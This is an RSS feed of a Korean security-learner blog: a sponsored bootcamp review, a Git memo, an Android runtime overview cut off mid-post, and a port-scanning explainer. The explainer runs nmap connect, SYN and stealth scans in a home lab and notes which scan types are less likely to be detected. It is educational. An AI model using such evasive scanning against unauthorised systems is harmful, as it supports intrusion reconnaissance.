<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>IMKYU</title>
        <link>https://velog.io/</link>
        <description>아무것도 안 한 거랑 다를께 없잖아??</description>
        <lastBuildDate>Wed, 25 Jun 2025 15:14:10 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>IMKYU</title>
            <url>https://velog.velcdn.com/images/imkyu_1228/profile/22e2dd9c-d0a7-4c3b-babc-9aa5ad33aa90/image.jpeg</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. IMKYU. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/imkyu_1228" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[구름톤 딥다이브 정보보호 9회차 후기]]></title>
            <link>https://velog.io/@imkyu_1228/%EA%B5%AC%EB%A6%84%ED%86%A4-%EB%94%A5%EB%8B%A4%EC%9D%B4%EB%B8%8C-%EC%A0%95%EB%B3%B4%EB%B3%B4%ED%98%B8-9%ED%9A%8C%EC%B0%A8-%ED%9B%84%EA%B8%B0</link>
            <guid>https://velog.io/@imkyu_1228/%EA%B5%AC%EB%A6%84%ED%86%A4-%EB%94%A5%EB%8B%A4%EC%9D%B4%EB%B8%8C-%EC%A0%95%EB%B3%B4%EB%B3%B4%ED%98%B8-9%ED%9A%8C%EC%B0%A8-%ED%9B%84%EA%B8%B0</guid>
            <pubDate>Wed, 25 Jun 2025 15:14:10 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>이 후기는 구름 부트캠프에서 제공한 소정의 원고료를 받고 작성된 후기입니다.</p>
</blockquote>
<h2 id="지원동기">지원동기</h2>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/917c6c0d-2d55-429a-8c4f-945a0e837276/image.png" alt=""></p>
<p>구름톤에 지원하게 된 이유는 보안쪽으로 커리어를 잡고 싶었는데 보안 쪽에 커리어를 잡기엔 너무 난이도 높았다. 그래서 부트캠프를 통해 보안쪽에 커리어를 잡기 위해 지원하게 되었다.
<em>(현재는 KT 클라우드이지만 9회차 당시에는 카카오였음)</em></p>
<h2 id="온라인-교육">온라인 교육</h2>
<p>교육은 온라인(인프런 또는 줌)으로 진행되며 OT때만 오프라인으로 진행되었다. 배우는 내용은 네트워크 보안, 보안 프로그래밍, 모의해킹, 알고리즘, 클라우드 등이 있다.</p>
<p>개인적으로 재미있던 것은 원래부터 관심이 있었던 모의해킹과 인텔리전스였다. 인텔리전스는 처음 접해본 것이라 더욱 신기해하며 들었다.</p>
<p>그리고 중간에 제대로 배웠는지 확인을 위한 과제도 따로 나가고 과제에 대한 피드백을 받을 수도 있다.</p>
<p>강의를 듣는 일정이 끝나게 되면 프로젝트 활동으로 넘어가게 된다.</p>
<h3 id="스터디-활동">스터디 활동</h3>
<p>프로젝트 활동전까지 같이하고 싶은 주제를 가지고 스터디를 모집하게 되는데 나는 CTF를 주제로한 스터디에 참가하게 되었다. 하는 활동은 CTF 문제를 풀고 주마다 돌아가며 발표하는 것이였다.</p>
<h2 id="프로젝트-활동">프로젝트 활동</h2>
<p>프로젝트 활동에서는 세미 프로젝트라고 불리는주어지는 주제 3개 + 자기가 하고 싶은 파이널 프로젝트 1개로 이루어져있다.</p>
<h3 id="1-mobsf-자동화-스크립트">1. MobSF 자동화 스크립트</h3>
<p>모바일 앱을 분석할 수 있는 MobSF라는 툴이 있다. 해당 툴의 API를 가지고 주어진 악성 앱을 자동적으로 분석할 수 있게 스크립트를 작성하는 것이였다. 여기서 내 역할을 다른 사람이 작성한 코드를 종합적으로 실행할 수 있게 만드는 것이였다.
링크 : <a href="https://github.com/InGyu/deepdive_semi_project_01">https://github.com/InGyu/deepdive_semi_project_01</a></p>
<h3 id="2-포트-스캐너">2. 포트 스캐너</h3>
<p>이건 말 그대로 포트 스캐너를 만드는 것이다. 우리는 기준을 NMAP 기준을 삼았으며 모든 동작이 NMAP과 같은 결과가 나오도록 만들었다. 처음에 C언어로 RAW 패킷를 작성하고 멀티프로그래밍 까지 적용하려고 했으나 수많은 에러야 향연으로 인한 GG를 치며 파이썬으로 작성하였다.
링크 : <a href="https://github.com/InGyu/deepdive_semi_project_01">https://github.com/InGyu/deepdive_semi_project_01</a></p>
<h3 id="3-다크웹-유출-정보-탐지-알람-서비스">3. 다크웹 유출 정보 탐지 알람 서비스</h3>
<p>이 프로젝트는 인텔리전스와 관련이 있다. 다크웹이라는 일반인들이 접근하기 힘든 사이트를 크롤링하여 유출된 정보가 있는지 파악하고 알림까지 만드는 서비스를 만드는 것이다. 우리 팀은 10개 이상 크롤러 만들어서 디스코드와 이메일에 알림을 보내는 것으로 하였다.
링크 : <a href="https://github.com/limchansu/darkweb_and_osint_viewer">https://github.com/limchansu/darkweb_and_osint_viewer</a></p>
<h3 id="4-mips-아키텍처-기반-iot-기기-분석-및-해킹">4. MIPS 아키텍처 기반 IoT 기기 분석 및 해킹</h3>
<p>파이널 프로젝트로 우리 팀이 하고 싶은 프로젝트로 IoT 기기를 대상으로한 분석 및 해킹으로 주제를 삼았다. 개인적으로 모의해킹에 관심이 있어서 재미있게 했던 프로젝트다. 하지만 고비가 많아 정신적으로 너무 힘들었다. (우수상 수여받음)
링크 : <a href="https://github.com/goldenGlow21/softwares_PoC">https://github.com/goldenGlow21/softwares_PoC</a></p>
<h2 id="장점과-단점">장점과 단점</h2>
<h3 id="장점">장점</h3>
<ul>
<li>보안에 입문하고 싶은 사람은 좋은 부트캠프인 것 같다.</li>
<li>보안을 광범위하게 배울 수 있다.</li>
<li>커리어가 화려한 사람들에게 멘토링을 받을 수 있다.<h3 id="단점">단점</h3>
</li>
<li>온라인으로 듣는 강의는 보안에 조금 아는 사람이면 별로 쓸모가 없을 것 같다.</li>
<li>트랜드와 맞지 않는(오래된) 강의를 듣는 것 같다.</li>
<li>온라인이라서 수업 참여 하지 않는 사람이 많은 것 같다. (프로젝트 활동, 스터디 활동 포함)</li>
<li>학업 도우미가 너무 자주 바뀐다. (9회차 하는 동안 3번 바뀜;;)</li>
<li>지원금이 너무 적다. (공휴일에는 수당이 안나와서 20만원 미만으로 받은적도 있음)</li>
<li>중도하차율이 높다. (11회차에서 30명중에 무려 21명이 나가리;;)</li>
</ul>
<h2 id="결론">결론</h2>
<p>나는 보안에 대해 100중에 5정도 알고 있는 사람이여서 나한테 도움이 되었던 프로그램이였다. 특히 인텔리전스에 대해 아는 것이 없었지만 해당 프로그램을 통해 알 수 있었고 모의해킹에 대한 진로를 확실하게 잡을 수 있었다.</p>
<p>그래서 내가 하고 싶은 말은 <strong>보안에 입문할 사람이면 추천</strong></p>
<h2 id="번외">번외</h2>
<p>이걸로 BoB 취약점 분석 트랙에 합격함
<img src="https://velog.velcdn.com/images/imkyu_1228/post/8fcba459-90b3-4885-9266-b8d76accde82/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Git 명령어 메모]]></title>
            <link>https://velog.io/@imkyu_1228/Git-%EB%AA%85%EB%A0%B9%EC%96%B4-%EB%A9%94%EB%AA%A8</link>
            <guid>https://velog.io/@imkyu_1228/Git-%EB%AA%85%EB%A0%B9%EC%96%B4-%EB%A9%94%EB%AA%A8</guid>
            <pubDate>Wed, 08 Jan 2025 05:31:37 GMT</pubDate>
            <description><![CDATA[<h2 id="프롤로그">프롤로그</h2>
<blockquote>
<p>git을 제대로 사용하기 위해 내가 필요할만 명령어를 정리해보겠다.</p>
</blockquote>
<h1 id="원격-저장소">원격 저장소</h1>
<h2 id="git-pull">git pull</h2>
<blockquote>
<p>git pull는 깃허브 또는 원격 저장소의 변경사항을 그대로 가져와 자동으로 병합한다.
git pull == git fecth + git merge</p>
</blockquote>
<h2 id="git-fetch">git fetch</h2>
<blockquote>
<p>git fetch는 깃허브 또는 원격 저장소의 변경사항을 가져온다.
병합은 따로 수행해야 한다.</p>
</blockquote>
<h2 id="git-clone">git clone</h2>
<blockquote>
<p>git clone <a href="http://github.io">http://github.io</a>~ 는 url에 있는 원격 저장소의 내용을 가져온다.</p>
</blockquote>
<h2 id="git-push">git push</h2>
<blockquote>
<p>git push는 깃허브 또는 원격 저장소에 내가 commit 했던 내용을 업로드 하는 것이다.</p>
</blockquote>
<h2 id="git-revert">git revert</h2>
<blockquote>
<p>작업한 내용을 전 단계로 돌리고 revert라는 커밋 메세지를 남긴다.</p>
</blockquote>
<h1 id="로컬-저장소">로컬 저장소</h1>
<h2 id="git-add">git add</h2>
<blockquote>
<p>git에서 추적할 파일을 추가한다. 예를 들어서 git clone을 해서 해당 프로젝트를 가져오고 그 프로젝트에 새로운 파일을 생성해서 원격 저장소에 올리고 싶다면 git add. 또는 git add 추적할 대상의 파일이름 을 해서 스태이징 영역에 올려놓는다.</p>
</blockquote>
<h2 id="git-commit">git commit</h2>
<blockquote>
<p>git 추적하고 있는 파일(스테이징 영역에 있는 파일)을 중간 기록을 남긴다. 또한 -m 옵션을 줘서 메세지를 남긴다.
ex) git commit -m &quot;A 파일 추가됨&quot;</p>
</blockquote>
<h2 id="git-status">git status</h2>
<blockquote>
<p>git 디렉토리의 상태를 알아볼 수 있다.</p>
</blockquote>
<h2 id="git-branch">git branch</h2>
<blockquote>
<p>새로운 브랜치를 생성한다. ex) git branch 브랜치 이름</p>
</blockquote>
<h2 id="git-checkout">git checkout</h2>
<blockquote>
<p>작업하고 있는 브랜치에서 다른 브랜치로 옮기고 싶을 때 사용한다.
 ex) git checkout 이동할 브랜치 이름</p>
</blockquote>
<h2 id="git-reset">git reset</h2>
<blockquote>
<p>로컬에서 commit한 내용을 삭제한다.</p>
</blockquote>
<h2 id="git-merge">git merge</h2>
<blockquote>
<p>두 브랜치를 합친다. 충돌난 부분을 수정해야한다.</p>
</blockquote>
<h2 id="git-rebase">git rebase</h2>
<blockquote>
<p>merge와 비슷하다. 둘의 차이점은 커밋 히스토리를 관리 할 것이냐 말 것이냐의 차이. rebase를 사용하면 커밋 히스토리가 더 깔끔해진다.</p>
</blockquote>
<h2 id="에필로그">에필로그</h2>
<blockquote>
<p>git을 배울 수 있는 사이트를 하나 추천하겠다. <a href="https://learngitbranching.js.org/?locale=ko">https://learngitbranching.js.org/?locale=ko</a> 시각적으로 알 수 있다.</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[포트 스캔 관한 정보들]]></title>
            <link>https://velog.io/@imkyu_1228/%ED%8F%AC%ED%8A%B8-%EC%8A%A4%EC%BA%94-%EA%B4%80%ED%95%9C-%EC%A0%95%EB%B3%B4%EB%93%A4</link>
            <guid>https://velog.io/@imkyu_1228/%ED%8F%AC%ED%8A%B8-%EC%8A%A4%EC%BA%94-%EA%B4%80%ED%95%9C-%EC%A0%95%EB%B3%B4%EB%93%A4</guid>
            <pubDate>Thu, 28 Nov 2024 16:48:35 GMT</pubDate>
            <description><![CDATA[<h2 id="포트스캔이란">포트스캔이란</h2>
<blockquote>
<p>상대 서버에 열린 포트가 있는지 탐색하는 과정</p>
</blockquote>
<h3 id="동작을-수행하는-프로그램">동작을 수행하는 프로그램</h3>
<ul>
<li>nmap</li>
<li>masscan</li>
</ul>
<h2 id="포트스캔-종류">포트스캔 종류</h2>
<h3 id="tcp-connecttcp-full-open-스캔">TCP Connect(TCP Full Open) 스캔</h3>
<blockquote>
<ul>
<li>다른 포트 스캔보다 가장 정확한 포트스캔이다.</li>
<li>TCP 3way handshake를 수행하며 포트가 열려있는지 확인한다.</li>
<li>신뢰성이 높다.</li>
<li>신뢰성이 높은만큼 상대 서버에서 포트 스캔을 하는 로그를 남긴다.</li>
<li>속도가 느리다.</li>
</ul>
</blockquote>
<h3 id="tcp-syntcp-half-open-스캔">TCP SYN(TCP Half Open) 스캔</h3>
<blockquote>
<ul>
<li>로그가 남는 TCP Connect 스캔의 단점을 보안한 스캔 방식이다.</li>
<li>정상적인 TCP 3way handshake 과정을 하지 않는다.</li>
<li>SYN 패킷을 보내면 상대 서버에서 SYN/ACK 패킷이 오고 
우리 컴퓨터에서는 ACK패킷을 보내면서 통신이 시작하지만 그 대신에 바로 RST패킷을 보내 연결을 끊는다.</li>
</ul>
</blockquote>
<h3 id="tcp-stealthtcp-finxmasnull-스캔">TCP Stealth(TCP FIN/XMAS/NULL) 스캔</h3>
<blockquote>
<ul>
<li>로그가 남는 TCP Connect 스캔의 단점을 보안한 스캔 방식이다.</li>
<li>플래그에 설정에 따라 FIN/XMAS/NULL 스캔으로 구분된다.</li>
<li>FIN 스캔은 FIN 플래그만 설정된 패킷으로 보낸다.</li>
<li>XMASS 스캔은 모든 플래그를 설정하거나 FIN/PSH/URG플래그를 설정하여 패킷을 보낸다.</li>
<li>포트가 열려있다면 응답이 없고 포트가 닫혀 있다면 RST 패킷이 돌아온다.</li>
<li>하지만 방화벽이 설정되어있어도 응답이 없다.</li>
</ul>
</blockquote>
<h3 id="tcp-ack-스캔">TCP ACK 스캔</h3>
<blockquote>
<ul>
<li>다른 스캔랑 다르게 방화벽이 설정되어 있는지를 판단하기 위한 스캔이다.</li>
<li>ACK 패킷을 보내 확인한다.</li>
<li>방화벽이 설정 되어 있다면 응답이 없거나 ICMP Unreachable 응답을 받는다.</li>
<li>방화벽이 설정 되어 있지 않다면 RST 패킷을 받는다.</li>
</ul>
</blockquote>
<h3 id="udp-스캔">UDP 스캔</h3>
<blockquote>
<ul>
<li>UDP 포트가 열려 있는지 확인하는 스캔이다.</li>
<li>UDP 패킷을 전송해서 응답이 안오면 열려있는 것이다.</li>
<li>ICMP Unreachable 응답이 오면 닫혀있는 것이다.</li>
</ul>
</blockquote>
<h2 id="실습">실습</h2>
<p>실습 환경</p>
<ul>
<li>호스트 맥(192.168.79.12) 5000번, 7000번 포트 열림</li>
<li>가상 머신 우분투 (192.168.79.11) </li>
<li>nmap</li>
<li>wireshark</li>
</ul>
<p>가상 머신에서 맥으로 포트스캔할 것이다.</p>
<h3 id="tcp-connecttcp-full-open-스캔-1">TCP Connect(TCP Full Open) 스캔</h3>
<blockquote>
<ul>
<li>nmap -sT 192.168.79.11</li>
<li>-sT는 TCP Connect 스캔을 한다는 의미다.</li>
<li>기본적으로 포트 지정 (-p) 옵션을 안주면 nmap이 잘 알려진 포트 1000개를 스캔한다.</li>
</ul>
</blockquote>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/35c5b1a1-4de8-492f-9a06-c1eeb225bd16/image.png" alt=""></p>
<blockquote>
<ul>
<li>192.168.79.11에 포트 3개가 열려있다.</li>
</ul>
</blockquote>
<p> <img src="https://velog.velcdn.com/images/imkyu_1228/post/99372e2e-f4d6-4c46-8db8-c586887f5944/image.png" alt=""></p>
<blockquote>
<ul>
<li>와이어샤크 192.168.79.11 5000번포트 캡쳐</li>
<li>TCP 3way handshake를 하는 과정이다.</li>
</ul>
</blockquote>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/8a719343-c35f-439d-9988-1c57355c8b31/image.png" alt=""></p>
<blockquote>
<ul>
<li>와이어샤크 192.168.79.11 5001번포트 캡쳐</li>
<li>닫혀 있는 포트라서 RST/ACK 패킷을 받았다.</li>
</ul>
</blockquote>
<h3 id="tcp-syntcp-half-open-스캔-1">TCP SYN(TCP Half Open) 스캔</h3>
<blockquote>
<ul>
<li>sudo nmap -sS 192.168.79.11</li>
<li>-sS는 TCP SYN 스캔을 한다는 의미다.</li>
<li>sudo 사용한 이유는 로우 소켓을 사용하기 때문이다.</li>
<li>TCP Connect와 UDP 스캔를 제외한 스캔방식은 로우 소켓을 사용한다.
(추후에 올릴 예정)</li>
</ul>
</blockquote>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/f66d51fa-cf84-44cb-946c-9fedbd046d41/image.png" alt=""></p>
<blockquote>
<ul>
<li>192.168.79.11에 포트 3개가 열려있다.</li>
<li>TCP Connect랑 결과가 같다.</li>
</ul>
</blockquote>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/e5003ec3-90e6-4cfb-b850-8cfac33bae65/image.png" alt=""></p>
<blockquote>
<ul>
<li>와이어샤크 192.168.79.11 5000번포트 캡쳐</li>
</ul>
</blockquote>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/ced9030e-2c9e-40bb-8a89-da22a1d1f6b1/image.png" alt=""></p>
<blockquote>
<ul>
<li>와이어샤크 192.168.79.11 5001번포트 캡쳐</li>
</ul>
</blockquote>
<h3 id="tcp-stealthfinxmasnull-스캔">TCP Stealth(FIN/XMAS/NULL) 스캔</h3>
<blockquote>
<ul>
<li>3개의 플래그의 차이만 다르지 스캔 방식은 같기 때문에 NULL만 해보겠다.</li>
<li>-sF은 FIN -sX은 XMAS -sN은 NULL 스캔을 뜻한다.</li>
</ul>
</blockquote>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/c117318b-1633-45d0-913a-237c5abffa5e/image.png" alt=""></p>
<blockquote>
<ul>
<li>3개의 포트가 열려있거나 방화벽에 의해 필터링되었다고 결과가 출력되었다.</li>
</ul>
</blockquote>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/032471ef-a38b-40df-ba84-ce4a9d9d30ea/image.png" alt=""></p>
<blockquote>
<ul>
<li>None은 플래그가 설정되어있지 않다. 즉 NULL 패킷이다.</li>
<li>저 패킷외의 패킷이 오고 받은건 없다.</li>
</ul>
</blockquote>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/8938a1f6-ab9b-47f3-9ebf-a815047d63bb/image.png" alt=""></p>
<blockquote>
<ul>
<li>RST/ACK 패킷을 받았다.</li>
</ul>
</blockquote>
<h2 id="결론">결론</h2>
<blockquote>
<ul>
<li>로그가 안남는다던데 다 남는다.</li>
<li>TCP Connect 스캔에 비해 눈의 안띈다는 말인듯.</li>
<li>자기 서버가 포트가 몇번 열려있는지 테스트 할 때는 TCP Connect 스캔하면 좋을 것이다.(신뢰할만 결과)</li>
<li>만약 모의 해킹용도로 사용한다면 TCP Connect를 제외한 스캔종류를 하면 좋을 것이다.
(신뢰하긴 힘들지만 TCP Connect보다 탐지될 확률이 적다.)</li>
<li><strong>추가</strong>
실무에서는 TCP Connect와 TCP SYN를 많이 사용한다고 한다.</li>
</ul>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[안드로이드와 apk]]></title>
            <link>https://velog.io/@imkyu_1228/%EC%95%88%EB%93%9C%EB%A1%9C%EC%9D%B4%EB%93%9C%EC%99%80-apk</link>
            <guid>https://velog.io/@imkyu_1228/%EC%95%88%EB%93%9C%EB%A1%9C%EC%9D%B4%EB%93%9C%EC%99%80-apk</guid>
            <pubDate>Sun, 24 Nov 2024 12:39:49 GMT</pubDate>
            <description><![CDATA[<p>안드로이드는 리눅스 커널 기반으로 구글에서 제작하고 있는 오픈소스 모바일 운영체제이다. 그리고 구글은 <a href="https://source.android.com/?hl=ko">안드로이드의 소스코드</a>를 공개하고 있다.(<em>칩셋 업체의 Board Support Pachage 부분은 미공개</em>) 개방성과 범용성이 뛰어나 여러 플랫폼으로 이식 및 개발이 가능하다.</p>
<h3 id="aosp-vs-android">AOSP vs Android</h3>
<ul>
<li>AOSP<ul>
<li>구글이 주도하는 오픈 소스 프로젝트이다.</li>
<li>제조사나 개발자들이 자신들의 장치에 맞게 안드로이드를 수정, 개발 할 수 있다.</li>
<li>AOSP는 안드로이드의 골격을 구성하는 오픈소스 프로젝트이다.</li>
<li>안드로이드 os의 핵심 코드 베이스를 의미하고 개발자들이 이 코드를 기반으로 다양한 안드로이드 기반 시스템을 개발할 수 있게 해준다.</li>
<li>핵심 기능 외는 구글의 서비스와 애플리케이션은 포함되지 않음.(GApps)</li>
</ul>
</li>
<li>Android<ul>
<li>구글이 개발하고 유지하는 모바일 운영 체제이다.</li>
<li>안드로이드는 AOSP를 기반으로 한다.</li>
<li>구글 서비스와 애플리케이션이 포함되어있다.</li>
<li>안드로이드는 제조사가 직접 수정하지 않고도 사용할 수 있는 완성된 운영 체제를 제공한다.</li>
<li>AOSP보다 더 넓은 범위의 기능을 사용자에게 제공한다.</li>
</ul>
</li>
</ul>
<p><strong>가장 큰 차이점은 GAPPS의 유무이다.</strong></p>
<p>AOSP를 구현하는 기기는 두가지 호환성 수준, AOSP 호환성과 안드로이드 호환성이 있다.</p>
<p>AOSP 호환 기기는 <a href="https://source.android.com/docs/compatibility/cdd?hl=ko">호환성 정의 문서(CDD)</a>의 요구 사항 목록을 준수해야한다. 안드로이드 호환 기기는 CDD</p>
<p>및 공급업체 소프웨어 요구사항(VSR)의 요구사항 목록을 준수하고 <a href="https://source.android.com/docs/core/tests/vts?hl=ko">공급업체 테스트 모음(VTS)</a> 및 <a href="https://source.android.com/docs/compatibility/cts?hl=ko">호환성 테스트 모음</a>과 같은 테스트를 실행해야한다.</p>
<p>자세한 내용은 <a href="https://source.android.com/docs/compatibility?hl=ko">안드로이드 호환성 프로그램</a>을 참고한다.</p>
<h2 id="aosp--아키텍처">AOSP  아키텍처</h2>
<p>AOSP용 소프트웨어 스택에는 다음과 같은 레이어가 포함됩니다.</p>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/303f4dcb-c296-4545-8051-100ced5c11ad/image.svg" alt=""></p>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/d6f78508-e983-4a8e-be16-c1d94e249894/image.png" alt=""></p>
<h3 id="안드로이드-앱android-apps">안드로이드 앱(Android Apps)</h3>
<p>안드로이드 API만 사용하여 만든 앱이다.</p>
<h3 id="권한이-있는-앱privileged-apps">권한이 있는 앱(Privileged Apps)</h3>
<p>안드로이드와 시스템 API를 조합하여 만든 앱이다. 이 앱은 기기에 권한이 있는 앱으로 사전 설치되어 있어야 한다.</p>
<h3 id="기기-제조업체-앱device-manufacturer-apps">기기 제조업체 앱(Device Manufacturer Apps)</h3>
<p>안드로이드 API, 시스템 API, 안드로이드 프레임워크 구현에 관한 직접 액세스를 조합하여 만든 앱이다. 기기 제조 업체가 안드로이드 프레임워크 내에서 불안정한 API에 직접 액세스할 수도 있으므로 이러한 앱은 기기 에 사전 설치되어 있어야 하고 기기의 시스템 소프트웨어가 업데이트 될 때만 업데이트를 할 수 있다.</p>
<h3 id="시스템-apisystem-api">시스템 API(System API)</h3>
<p>시스템 API는 파트너 및 OEM이 번들 애플리케이션에 포함하기 위해서만 사용할 수 있는 안드로이드 API를 나타낸다. 이러한 API는 소스코드에서 <code>@SystemApi</code>로 표시한다.</p>
<h3 id="안드로이드-apiandroid-api">안드로이드 API(Android API)</h3>
<p>안드로이드 API는 서드 파티 안드로이드 앱 개발자에게 공개적으로 제공되는 API이다. 자세한 내용은 <a href="https://developer.android.com/reference">안드로이드 API 레퍼런스 문서</a>를 참고한다.</p>
<h3 id="안드로이드-프레임워크android-framework">안드로이드 프레임워크(Android Framework)</h3>
<p>앱이 기반하는 자바 클래스, 인터페이스, 기타 사전 컴파일된 코드 그룹이다. 프레임워크의 일부는 Android API를 사용하여 공개적으로 액세스할 수 있다. 그 외의 프레임워크 부분은 시스템 API 사용을 통해 OEM에만 제공한다. 안드로이드 프레임워크 코드는 앱의 프로세스 내에서 실행 된다.</p>
<ul>
<li>Activity Manager : 애플리케이션 안의 액티비티들을 관리</li>
<li>Content Providers : 애플리케이션 간의 데이터 공유 관리</li>
<li>Telephony Manager : 음성통화 관리</li>
<li>Location Manager : GPS 또는 기지국 신호를 통해 위치 정보 관리</li>
<li>Resource Manager : 앱에서 사용하는 리소스들 관리</li>
<li>View System : UI에 쓰이는 안드로이드 뷰들을 관리</li>
<li>Notification Manager : 알림 관리</li>
</ul>
<h3 id="시스템-서비스system-services">시스템 서비스(System Services)</h3>
<p>시스템 서비스는 system_server, SurfaceFlinger, MediaService와 같은 집중된 모듈식 구성 요소이다. 안드로이드 프레임워크 API로 의해 노출된 기능은 시스템 서비스와 통신하여 기본 하드웨어에 액세스한다.</p>
<h3 id="안드로이드-런타임artandroid-runtime">안드로이드 런타임(ART/Android Runtime)</h3>
<p>AOSP에서 제공하는 자바 런타임 환경이다. ART는 앱의 바이트 코들르 기기의 런타임 환경에서 실행되는 프로세스별 명령을 변환한다.</p>
<ul>
<li>JVM과 안드로이드<ul>
<li>안드로이드는 자바를 채택한 모바일 운영체제이다.</li>
<li>자바를 사용한 바이트코드를 사용하기 위해서 JVM를 거쳐야 한다.</li>
<li>하지만 JVM은 제한되지 않은 전원과 저장 공간을 가지고 있다는 것을 전제로 설계되었다.</li>
<li>라이선스 문제가 있다.</li>
<li>자세한 내용은 <a href="https://everyday-develop-myself.tistory.com/216">이 곳</a>을 참고한다.</li>
</ul>
</li>
<li>달빅 가상 머신(Dalvik virtual machine)
  <img src="https://velog.velcdn.com/images/imkyu_1228/post/e6d9ce49-af2b-4946-8359-0a82507af39e/image.png" alt=""></li>
</ul>
<pre><code>- 달빅은 안드로이드가 JVM 대신 사용한 가상 머신이다.
- 달빅은 32비트만 지원한다.
- 안드로이드 4.4 킷캣 이전 버전까지 달빅이 사용되었다.
- 달빅은 안드로이드 앱을 실행하기 위해 자바 바이트 코드를 달빅 바이트 코드롤 변환되어 사용했다.
- 자바 바이트 코드가 스택 기반으로 동작하지만 달빅 바이트 코드는 레지스터 기반으로 동작한다. 이러한 방식은 자바 바이트 코드보다 훨씬 효율적이고 공간을 적게 사용한다.
- 달빅은 적은 메모리 환경에 최적화 되었다.
- 전체 앱을 실행하기 전에 기계어로 컴파일 하는 대신 Just In Time 컴파일, JIT 전략을 사용했다. 달빅은 필요한 코드만 컴파일하고 런타임에 수행하기 때문에 많은 RAM을 절약할 수 있다.
- 구글에서 오픈소스로 제공될 안드로이드에서 JVM을 사용할 경우 라이센스 관련한 문제가 발생할 수 있기 때문에 JVM을 사용하는 것은 적합하지 않았다.
    - 현 Oracle의 JVM의 특허를 피해 가기 위한 편법. 실제로도 이것 때문에 2010년부터 2021년까지 Oracle과 법정 싸움을 다툰 적이 있다.

  ![](https://velog.velcdn.com/images/imkyu_1228/post/b0b56bc0-0f24-4347-b19e-3f9bbb28750f/image.png)


- 달빅은 자주 사용하는 코드(Hot Code)는 컴파일러를 사용하고 사용 빈도수가 적은 코드(Cold Code)는 인터프리터를 사용한다.
- 달빅은 모든 것이 런타임에 발생하기 때문에 화면 전환이 많을수록 성능이 저하된다.
- 달빅은 실행 직전에 실행 부분을 전체 RAM에 올려놔야 하기 때문에 다른 OS보다 RAM을 많이 사용한다.
- 달빅은 초기 RAM 사용량은 낮지만 실행시간이 길어질수록 RAM 사용량이 점진적으로 증가한다.
- 이러한 성능저하를 막기위해 자주 사용되는 컴파일된 코드 일부를 캐싱하여 다시 컴파일하지 않도록 했다.</code></pre><ul>
<li><p>안드로이드 런타임(ART/Android Runtime)</p>
<p>  <img src="https://velog.velcdn.com/images/imkyu_1228/post/80a8c1c4-3145-416a-be15-04449b0a61d2/image.png" alt=""></p>
</li>
</ul>
<pre><code>- 달빅의 JIT의 단점을 개선하기 위한 가상머신이다.
- ART는 32비트 64비트 둘 다 지원한다.
- ART는 JIT 컴파일와 인터프리터 대신 AOT/Ahead of Time 컴파일 전략을 사용한다.
- ART는 런타임시 코드를 해석하는 대신 앱을 실행하기 전에 코드를 컴파일하여 스토리지에 저장하고 앱이 실행 중일 때 스토리지에서 램으로 불러온다.
- 이 접근 방식은 기존 방식보다 런타임 성능 20배 더 빠르다.
- ART는 dex 바이트 코드가 매번 해석되지 않기 때문에 달빅에 비해 배터리 성능을 크게 향상시켰다.
- 달빅은 응용 프로그램의 시작 시간이 더 느리고 ART는 AOT 덕분에 네이티브  코드를 실행할 수 있어서 매우 빠르다.
- ART는 달빅보다 가비지 컬렉션이 더 뛰어나다.
- ART는 초기 RAM 사용량이 높다.
- APK 설치하려면 해당 앱을 기계어로 변환하기 때문에 앱 설치 시간이 오래걸리고 설치 공간이 달빅에 비해 1.5~2배가 필요하다.
- 시스템 업데이트가 되었다면 기존에 설치된 모든 앱을 다시 최적화/컴파일한다.
    - 안드로이드 시스템 라이브러리나 프레임워크가 변경되면 기존에 설치된 앱이 더 이상 호환되지 않을 수 있다.

![](https://velog.velcdn.com/images/imkyu_1228/post/b0807f93-123c-4547-b5c2-dc429fa319e7/image.png)</code></pre><ul>
<li><p>현재의 ART</p>
<p>  <img src="https://velog.velcdn.com/images/imkyu_1228/post/c1c62b5c-b9c6-462d-8dd7-0b2d30a3cbef/image.png" alt=""></p>
</li>
</ul>
<pre><code>- 기존 ART의 문제를 해결하기 위해 구글에서는 AOT와 인터프리터, JIT를 함께 사용하는 방식으로 해결했다.(안드로이드 7.0 누가부터 추가됨)
- 실행 순서는 다음과 같다.
    1. 처음 앱을 실행할 때는 .oat 바이너리도 없다. ART는 인터프리터를 사용하여 코드를 실행한다.
    2. HOT Code가 감지되면 JIT 컴파일러가 컴파일한다.
    3. JIT 컴파일된 코드와 컴파일 프로파일을 캐시에 저장한다. 이후 실행은 이 캐시를 사용한다.
    4. 기기가 휴면 상태(화면이 꺼지거나 충전 중)이면, HOT Code가 AOT 컴파일러와 컴파일 프로파일을 사용하여 다시 컴파일한다.
    5. 앱이 다시 실행하면, .oat 바이너리 코드가 더 나은 성능으로 실행한다. 만약 .oat 바이너리가 없다면 1로 다시 돌아간다.
- 추가된 최적화 방법이 있는데 바로 유사한 장치 간에 컴파일 프로파일을 공유하는 것이다.

    ![](https://velog.velcdn.com/images/imkyu_1228/post/252e54f8-c609-4169-9b38-0621b44551f3/image.png)


